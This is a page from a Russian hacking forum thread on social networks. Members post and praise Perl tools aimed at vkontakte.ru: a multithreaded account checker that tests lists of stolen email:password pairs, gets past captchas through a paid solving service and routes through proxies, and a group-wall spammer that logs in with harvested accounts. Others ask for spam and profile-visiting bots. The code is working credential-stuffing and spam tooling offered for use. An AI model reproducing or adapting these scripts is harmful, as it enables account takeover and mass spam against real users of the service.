[Социальные сети] Общие вопросы, скрипты и т.д.

Discussion in 'Социальные сети' started by scrat, 29 Oct 2008.

Page 3 of 40
  1. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    а вдиль дорогы мертвиe з косамы стоять...
     
    #41 .:EnoT:., 16 Dec 2008
  2. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    VK chekker by Kraken

    Чеккер акаунтов Вконтакте
    Сразу говорю подойдет не всем.
    1.Запускать на своей машине
    2.Нужен динамичесский ip

    Скрипт
    1.показывает id рейтинг количество друзей
    2.выделает цветом аккаунты (по рейтингу и по друзьям)
    3.Сохраняет в файл.

    Скрипт работает на основе переподключения интернета(автоматически).За ночь чекает ~10к акаунтов (скорость зависит от % соотношения валидных и невалидных т.е.от количества переподключений)
    http://upwap.ru/248645
    pass krakeN
    ()
    P.S. Скрипт написан мной.
     
    #42 !{ra!{e/\/, 18 Dec 2008
    3 people like this.
  3. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Да тебе в РОА нужен!
    По теме: скрипт хороший! СПАСИБО! Молодец =)
     
    #43 Tigger, 18 Dec 2008
  4. fasty

    fasty Member

    Joined:
    9 May 2008
    Messages:
    0
    Likes Received:
    6
    Reputations:
    -10

    Fatal error: Maximum execution time of 30 seconds exceeded in E:\wamp\www\vkk.php on line 106
    Что это за ошибка?
     
    #44 fasty, 18 Dec 2008
  5. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    fasty, видимо на твоем хостинге отключена функция set_time_limit(0);
     
    #45 banned, 18 Dec 2008
  6. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    [perl] Vkontakte Checker by [dei]

    [ Чеккер аккаунтов Vkontakte ]


    Достоинства:
    - многопоточность
    - обход каптчи
    - работа через socks proxy

    Для работы нужно:
    - создать папку tmp с правами на запись
    - прописать в скрипте ключ anti-captcha.com
    - perl модули IO::All и LWP::protocol::Socks (и возможно другие)


    Code:
    #!/usr/bin/perl -w
###############################
# Vkontakte.ru Accounts Checker
# (c) [dei] 369-476-512
###############################

############ Config ###############
$threads = 10; # количество потоков
$use_socks = 0; #  1/0
	$socks = 'xxx'; # socks - proxy:port
$key = 'c53780b0dbebd2da836447f1c4bd2000'; # anti-captcha.com key
$acs = 'acs.txt'; # аккаунты
$goodacs = 'goods.txt'; # отчеканые аки
################################

use LWP::UserAgent;
use HTTP::Request::Common qw(GET POST);
use MIME::Base64 qw(encode_base64);
use IO::All;
use IO::Handle;
use threads;

sub login( $$ ) {
	my $em = $_[0];
	my $pa = $_[1];
	 
	$em =~ s/@/%40/;
	my $ua = LWP::UserAgent->new;
	if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	my $req = HTTP::Request->new(POST=>'http://vkontakte.ru/login.php');
	$req->referer('http://vkontakte.ru/');
	$req->content_language('ru');
	$req->content_type('application/x-www-form-urlencoded');
	$req->content("email=$em&pass=$pa");
	my $result = $ua->request($req);
	
	if($result->code == 302) { return 1; }
	else {
		while($result->content =~ /<IMG SRC='http:\/\/vkontakte\.ru\/(captcha\.php\?sid=([^']*))'\/>/i)
		{
			if(!($code = anticaptcha('http://vkontakte.ru/'.$1))) {
				print "captcha problems\n"; return 0; }
			my $sid = $2;
			
			$req = HTTP::Request->new(POST=>'http://vkontakte.ru/login.php');
			$req->referer('http://vkontakte.ru/login.php');
			$req->content_language('ru');
			$req->content_type('application/x-www-form-urlencoded');
			$req->content('email='.$em.'&pass='.$pa.'&ccode='.$code.'&csid='.$sid);
			$result = $ua->request($req);
			if($result->code == 302) { return 1; }
			else {
				if($result->content =~ /<div id='message'>/) {
					my $u = "http://anti-captcha.com/res.php?key=$key&action=reportbad&id=$cid";
					$ua->request(GET $u);
					next;
				}
				else { return 0; }
			}
		}	
	}
}


sub myrand( $ ) {
	$int='';
	for($i=1;$i<=$_[0];$i++) { $int .= int(rand(10)) }
	return $int;
}


sub anticaptcha ( $ ) {
	my $url = $_[0];

	my $fname = 'tmp/'.myrand(6).'.jpg';

	my $ua = LWP::UserAgent->new;
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	
	my $count = 1;
	while( my $result = $ua->request(HTTP::Request->new(GET=>$url), $fname)) {
	
		my $u = 'http://anti-captcha.com/in.php';
		$answ = $ua->request(POST $u, 
		Content_Type => 'form-data', 
		Content => [ method => 'base64',
						key => $key, 
					   body => encode_base64( io($fname)->all ),
					   ext  => 'jpg'
			       ]);
				
		unlink $fname;
		
		if(!($answ->is_success)) { $count++; print "redo\n"; redo; }
		if($answ->content =~ /^OK\|(\d+)$/) {
			$cid = $1;
			sleep(7);
			if(my $code = getccode($cid)) { return $code; }
		}
		else { if($answ->content =~ /ERROR_NO_SLOT_AVAILABLE/ ||
			$answ->content =~ /ERROR_IMAGE_IS_NOT_JPEG/) { print next; }
		}
		if($count == 5) { print "Cannt connect to Anti-Captcha.\n"; return 0; }
		return 0;
	}
}	

	
sub getccode ( $ ) {	
	my $cid = $_[0];
	my $count = 1;
	
	my $ua = LWP::UserAgent->new;
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	while(my $c = $ua->request(HTTP::Request->new(
		GET=>"http://anti-captcha.com/res.php?key=$key&action=get&id=$cid")))
	{
		$cap = $c->content;
		if($cap =~ /^OK\|(.+)$/) { return $1; }
		else {
			if($cap =~ /^ERROR.+/) {
				print "[error]\n";
				return 0; 
			}
		}
		if($count == 10) { return 0; }
		$count++;
		
		sleep(5);
	}
}


sub check( $ ) {
	local $c = $_[0];
	
	my @a = io($acs)->slurp;
	
	for(my $i=$c;$i<scalar(@a);$i+=$threads) {
		
		my $line = $a[$i];
		$line =~ s/\n|\r$//g;
		my($e,$p)=split(':',$line);
		
		if(login($e,$p)) {
			print "[GOOD] ".$e."\n";
			print GD "$e:$p\n";
		} else {
			print "[BAD] ".$e."\n";
		}
	}
}


my @threadz;

open(GD,"> $goodacs");
GD->autoflush(1);


for my $i (0..($threads-1)) {
  push @threadz, threads->create(\&check, $i);
  sleep(3);
}


foreach my $thread (@threadz) {
    $thread->join();
}
     
    #46 [dei], 18 Dec 2008
    Last edited: 18 Dec 2008
    1 person likes this.
  7. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    ещё один
     
    #47 Spyder, 18 Dec 2008
    2 people like this.
  8. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    python, perl, php
     
    #48 banned, 18 Dec 2008
  9. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Ты бы хоть валидные акки по ходу работы в файл записывал, а не после окончания...
     
    _________________________
    #49 Kaimi, 18 Dec 2008
    1 person likes this.
  10. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    разница какая?
     
    #50 [dei], 18 Dec 2008
  11. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Скрипт вылетел или был прерван - результат не сохранился
     
    _________________________
    #51 Kaimi, 18 Dec 2008
  12. *DeViL*

    *DeViL* Banned

    Joined:
    27 Nov 2007
    Messages:
    169
    Likes Received:
    56
    Reputations:
    0
    мадем должен быть настроен РОУТЕРОМ или БРИДЖЕМ?
     
    #52 *DeViL*, 18 Dec 2008
  13. *DeViL*

    *DeViL* Banned

    Joined:
    27 Nov 2007
    Messages:
    169
    Likes Received:
    56
    Reputations:
    0
    так.. так... чекеры есть) а рабочих спамеров нет??! +)
     
    #53 *DeViL*, 18 Dec 2008
  14. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    Исправил
     
    #54 [dei], 18 Dec 2008
  15. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Может мне то же сбацать чеккер, и я буду крутым парнем))))!!!1111
     
    #55 De-visible, 18 Dec 2008
    2 people like this.
  16. eXmasteR

    eXmasteR Member

    Joined:
    5 Dec 2008
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    помогите с написание спамера вконтакте.

    вобьщем пишу спамер вконтакте на перле, через pda.vkontakte.ru, проблема с парсацыей списка друзей, помогите плиз скажите что неправельно.

    вот эта функция:
    PHP:
    $req = $ua->get('http://pda.vkontakte.ru/friends')->as_string;

    for (    $req =~ /\[(\d+), {f/gm) {
     
    #56 eXmasteR, 19 Dec 2008
  17. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    [perl] Vkontakte groups spammer

    [ Спамер групп Vkontakte ]


    Многопоточный, через акк на anti-captcha.com.
    Для работы:
    создать папку tmp с правами на запись
    поставить нужные perl модули (IO::All, LWP::protocol::Socks и другие)
    создать файл с сообщением в utf-8(без bom) и файл с группами
    также для адекватной работы лучше бронировать капчи.


    Code:
    #!/usr/bin/perl -w
###############################
# Vkontakte.ru Groups Spammer
# (c) [dei] 369-476-512
###############################

############ Config ###############
$threads = 5; # количество потоков
$use_socks = 0; #  1/0
	$socks = 'xxx'; # socks - proxy:port
$key = 'xxx'; # anti-captcha.com key
$groups = 'groups.txt';
$mess = 'mess.txt'; # месага в кодировке UTF-8
$acs = 'acs.txt'; # аккаунты
################################

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(GET POST);
use MIME::Base64 qw(encode_base64);
use IO::All;
use threads;
use threads::shared;


sub login( $$ ) {
	my $em = $_[0];
	my $cookies = $em; 
	my $pa = $_[1];
	 
	$em =~ s/@/%40/;
	my $ua = LWP::UserAgent->new;
	if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	$ua->cookie_jar(HTTP::Cookies->new(file => 'tmp/'.$cookies, autosave => 1));
	my $req = HTTP::Request->new(POST=>'http://vkontakte.ru/login.php');
	$req->referer('http://vkontakte.ru/');
	$req->content_language('ru');
	$req->content_type('application/x-www-form-urlencoded');
	$req->content("email=$em&pass=$pa");
	my $result = $ua->request($req);
	
	if($result->code == 302) { return 1; }
	else {
		while($result->content =~ /<IMG SRC='http:\/\/vkontakte\.ru\/(captcha\.php\?sid=([^']*))'\/>/i)
		{
			if(!($code = anticaptcha('http://vkontakte.ru/'.$1))) {
				print "captcha problems\n"; return 0; }
			my $sid = $2;
			
			$req = HTTP::Request->new(POST=>'http://vkontakte.ru/login.php');
			$req->referer('http://vkontakte.ru/login.php');
			$req->content_language('ru');
			$req->content_type('application/x-www-form-urlencoded');
			$req->content('email='.$em.'&pass='.$pa.'&ccode='.$code.'&csid='.$sid);
			$result = $ua->request($req);
			if($result->code == 302) { return 1; }
			elsif($result->content =~ /<div id='message'>/) {
				my $u = "http://anti-captcha.com/res.php?key=$key&action=reportbad&id=$cid";
				$ua->request(GET $u);
				next;
			}
			else { return 0; }
		}	
	}
}


sub myrand( $ ) {
	my $int='';
	for(my $i=1;$i<=$_[0];$i++) { $int .= int(rand(10)) }
	return $int;
}


sub anticaptcha ( $ ) {
	my $url = $_[0];

	my $fname = 'tmp/'.myrand(6).'.jpg';

	my $ua = LWP::UserAgent->new;
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	
	my $count = 1;
	while( my $result = $ua->request(HTTP::Request->new(GET=>$url), $fname)) {
	
		my $u = 'http://anti-captcha.com/in.php';
		$answ = $ua->request(POST $u, 
		Content_Type => 'form-data', 
		Content => [ method => 'base64',
						key => $key, 
					   body => encode_base64( io($fname)->all ),
					   ext  => 'jpg'
			       ]);
				
		unlink $fname;
		
		if(!($answ->is_success)) { $count++; redo; }
		if($answ->content =~ /^OK\|(\d+)$/) {
			$cid = $1;
			sleep(7);
			if(my $code = getccode($cid)) { return $code; }
		}
		elsif($answ->content =~ /ERROR_NO_SLOT_AVAILABLE/) { sleep(10); print next; }
		elsif($answ->content =~ /ERROR_IMAGE_IS_NOT_JPEG/) { print next; }
		elsif($answ->content =~ /ERROR_WRONG_USER_KEY/) { print "\nERROR_WRONG_USER_KEY\n\n"; exit;}
		
		if($count == 5) { print "Cannt connect to Anti-Captcha.\n"; return 0; }
		return 0;
	}
}	

	
sub getccode ( $ ) {	
	my $cid = $_[0];
	my $count = 1;
	
	my $ua = LWP::UserAgent->new;
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	while(my $c = $ua->request(HTTP::Request->new(
		GET=>"http://anti-captcha.com/res.php?key=$key&action=get&id=$cid")))
	{
		$cap = $c->content;
		if($cap =~ /^OK\|(.+)$/) { return $1; }
		elsif($cap =~ /^ERROR.+/) {
			print "[error]\n";
			return 0; 
		}
		if($count == 10) { return 0; }
		$count++;
		
		sleep(5);
	}
}


sub spamgroup( $ ) {
	my $cookies = $email;
	my $group = $_[0]; 

	my $gurl = 'http://vkontakte.ru/club'.$group;
	my $ua = LWP::UserAgent->new;
	if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
	$ua->max_redirect(0);
	$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
	$ua->cookie_jar(HTTP::Cookies->new(file => 'tmp/'.$cookies));
	my $req = HTTP::Request->new(GET=>$gurl);
	$req->referer('http://vkontakte.ru/groups.php?'.myrand(5));
	my $result = $ua->request($req);
	if($result->code == 302) {
		#print "#$c "; 
		print "[BAD ACC] ".$email."\n";
		unlink 'tmp/'.$cookies;
		$email = &get_acc; 
		return 0; }
	
	if($result->content !~ /makeFRequest\('wall\.php\?(act=get10\&wall_hash=[^']*)/) {return 0;}
	my $wall = $1;
	my $url = 'http://vkontakte.ru/wall.php?'.$wall;
	$result->content =~ /"(g\d+)"/;
	my $gid = $1;
	
	sleep(3);
	$req = HTTP::Request->new(POST=>$url);
	$req->referer($gurl);
	$req->content_language('ru');
	$req->content_type('application/x-www-form-urlencoded');
	$req->content('seed='.io($mess)->all.'&fpage=1&mid='.$gid.'&n=3');
	$result = $ua->request($req);
	
	if($result->code == 302) {
		#print "#$c "; 
		print "[BAD ACC] ".$email."\n";
		unlink 'tmp/'.$cookies;
		$email = &get_acc; 
		return 0; }
	
	if($result->content =~ /<img src="(captcha\.php\?sid=([^"]*))"\/>/) {
		if(!($code = anticaptcha('http://vkontakte.ru/'.$1))) {
			print "captcha problems\n"; return 0; }
		$sid = $2;

		$req = HTTP::Request->new(POST=>'http://vkontakte.ru/wall.php');
		$req->referer($gurl);
		$req->content_language('ru');
		$req->content_type('application/x-www-form-urlencoded');
		$req->content($wall.'&n=3&seed='.io($mess)->all.
			'&code='.$code.'&mid='.$gid.'&sid='.$sid);
		$result = $ua->request($req);
		if($result->code == 200) { return 1; }
		elsif($result->code == 302) {
			print "[BAD ACC] ".$email."\n";
			unlink 'tmp/'.$cookies;
			$email = &get_acc; 
			return 0; }
	} elsif($result->code == 200) { return 1; }
	
	return 0;
}


sub spam( $ ) {
	local $c = $_[0];
	local $email = &get_acc;
	
	@ids = io($groups)->slurp;
	for(my $i=$c;$i<=9;$i+=$threads) {
		my $id = $ids[$i];
		$id =~ s/[\n\r]//g;
		
		if(spamgroup($id)) {
			#print "#$c "; 
			print "[SPAMED] ".$id."\n"; }
		else {
			#print "#$c "; 
			print "[ERROR] ".$id."\n"; }
	}
	unlink 'tmp/'.$email;
}


sub get_acc {
	my $k = 1;
	my @a = io($acs)->slurp;
	
	for(my $i=0;$i<=$#a;$i++) {
		if(@used) {
			my $v = $used[$#used];
			if($a[$i] =~ /^$v/) { $k = 0; next; }
			else { if($k) { next; } }
		}
		
		my $line = $a[$i];
		$line =~ s/\n|\r$//g;
		my($e,$p)=split(':',$line);
		
		if(login($e,$p)) {
			print "[ACC][USE] ".$e."\n";
			push (@used,$e);
			return $e;
		} else {
			print "[ACC][BAD] ".$e."\n";
			unlink 'tmp/'.$e;
		}
	}

	die("ERROR: end of accounts!\n");
}


my @threadz;
our @used : shared;


for my $i (0..($threads-1)) {
  push @threadz, threads->create(\&spam, $i);
  sleep(7);
}

foreach my $thread (@threadz) {
    $thread->join();
}
     
    #57 [dei], 19 Dec 2008
    1 person likes this.
  18. eXmasteR

    eXmasteR Member

    Joined:
    5 Dec 2008
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    [dei], сенкс! подскажите на актив перле будет работать?)
     
    #58 eXmasteR, 20 Dec 2008
  19. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    дооо, но нужно модули поставить
    в консоли -> ppm
     
    #59 [dei], 20 Dec 2008
  20. c0rp$e

    c0rp$e Elder - Старейшина

    Joined:
    5 Dec 2003
    Messages:
    206
    Likes Received:
    37
    Reputations:
    -5
    Есть ли для Одноклассников простенький скрипт,
    который просто ходит по разным анкетам?
    (желательно с указанием каких-то параметров, как пол возраст, город)
    т.е. ниче не делает
    тупо ходит по анкетам, отмечаясь в "гостях"
     
    #60 c0rp$e, 20 Dec 2008
(You must log in or sign up to post here.)
Page 3 of 40
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.